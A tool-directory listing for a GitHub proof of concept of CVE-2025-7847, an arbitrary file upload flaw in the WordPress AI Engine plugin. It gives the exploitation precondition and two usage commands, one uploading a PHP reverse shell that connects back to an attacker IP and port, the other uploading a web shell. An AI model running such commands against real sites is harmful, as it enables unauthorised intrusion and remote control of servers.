Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-7847-POC — Wordpress Plugin AI Engine 2.9.3 - 2.9.4 Proof Of Concept | Kitploit
Tools/GitHubGitHub/ericardiansa/cve-2025-7847-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubericardiansa/cve-2025-7847-poc

CVE-2025-7847-POC

Wordpress Plugin AI Engine 2.9.3 - 2.9.4 Proof Of Concept

View Repository
121 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-7847 Wordpress Plugin Authenticated Subscriber Arbitrary File Upload POC

Wordpress Plugin AI Engine 2.9.3 - 2.9.4 Proof Of Concept

Please note that this vulnerability can only be exploited if the “Public API” option is enabled, which is disabled by default, and no Bearer Token is configured, nor is custom authentication added and used to protect the API.

Automate Version

root@kitploit:~
python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444

Web Shell Upload Only

root@kitploit:~
python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php
Download Tool